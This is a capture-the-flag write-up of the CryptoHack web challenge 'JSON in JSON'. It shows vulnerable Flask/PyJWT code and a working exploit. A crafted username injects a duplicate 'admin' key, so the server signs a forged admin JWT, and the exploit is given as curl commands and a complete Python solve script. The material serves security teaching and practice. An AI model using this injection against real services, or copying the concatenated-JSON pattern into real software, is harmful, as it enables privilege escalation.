JSON in JSON
JSON in JSON
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: duplicate_key_override, json_injection, jwt_claim_forgery, server_side_signing_abuse
Summary
Walkthrough of the CUSTOM Web JSON in JSON. Task: PyJWT-based session endpoint builds JSON via raw string concatenation of an unsanitized username, parses it with json.loads, and signs it with the server secret. Solution: inject a duplicate "a
Description
"We've explored how flawed verification can break the security of JWTs, but it can sometimes be possible to exploit the code to sign unexpected data in the first place."
Challenge URL: https://web.cryptohack.org/json-in-json (contributed by sublevel_1157).
Goal: recover the FLAG by obtaining a JWT where admin == "True". This is not a verification/secret-cracking challenge — the trick is to make the server sign attacker-controlled claims.
Analysis
The vulnerable source (note: uses PyJWT, not python-jwt):
python read-only • copy allowed@chal.route('/json-in-json/create_session/<username>/') def create_session(username): body = '{' \ + '"admin": "' + "False" \ + '", "username": "' + str(username) \ + '"}' encoded = jwt.encode(json.loads(body), SECRET_KEY, algorithm='HS256') return {"session": encoded} @chal.route('/json-in-json/authorise/<token>/') def authorise(token): decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256']) if "admin" in decoded and decoded["admin"] == "True": return {"response": f"Welcome admin, here is your flag: {FLAG}"} ...
Two flaws combine:
- JSON built by string concatenation.
usernameis dropped verbatim into a JSON string literal with no escaping. An attacker can close theusernamestring and append arbitrary JSON. - Duplicate-key resolution. Python's
json.loadskeeps the last occurrence when a key appears twice. So injecting a second"admin"key overrides the hardcoded"False".
The signing happens server-side with the real SECRET_KEY, so the forged token verifies correctly in authorise. No key cracking needed — the server signs unexpected data for us.
Solution
1. Craft the username payload
We want the final body to contain a second admin key:
- Raw payload:
x", "admin": "True - URL-encoded:
x%22%2C%20%22admin%22%3A%20%22True
The server then constructs:
json read-only • copy allowed{"admin": "False", "username": "x", "admin": "True"}
After json.loads, duplicate-key resolution yields {"admin": "True", "username": "x"}.
2. Request the forged session
bash read-only • copy allowedcurl -s "https://web.cryptohack.org/json-in-json/create_session/x%22%2C%20%22admin%22%3A%20%22True/"
Response:
json read-only • copy allowed{"session":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6IlRydWUiLCJ1c2VybmFtZSI6IngifQ.ktCWANLIF-SulYAlWsbzBheUlsM5nFu6ZTXzetrqSNg"}
Decoding the middle segment confirms {"admin":"True","username":"x"}.
3. Submit to the authorise endpoint
bash read-only • copy allowedcurl -s "https://web.cryptohack.org/json-in-json/authorise/<token>/"
Response:
json read-only • copy allowed{"response":"Welcome admin, here is your flag: crypto{REDACTED}"}
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 import requests from urllib.parse import quote BASE = "https://web.cryptohack.org/json-in-json" # Inject a duplicate "admin":"True" key via the username field. payload = 'x", "admin": "True' username = quote(payload, safe='') r = requests.get(f"{BASE}/create_session/{username}/") token = r.json()["session"] print("[+] forged token:", token) r = requests.get(f"{BASE}/authorise/{token}/") print("[+] response:", r.json())
Key Takeaways / Lessons
- Mastering duplicate_key_override, json_injection, jwt_claim_forgery, server_side_signing_abuse was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-21 • CUSTOM • JSON in JSON • Difficulty: Medium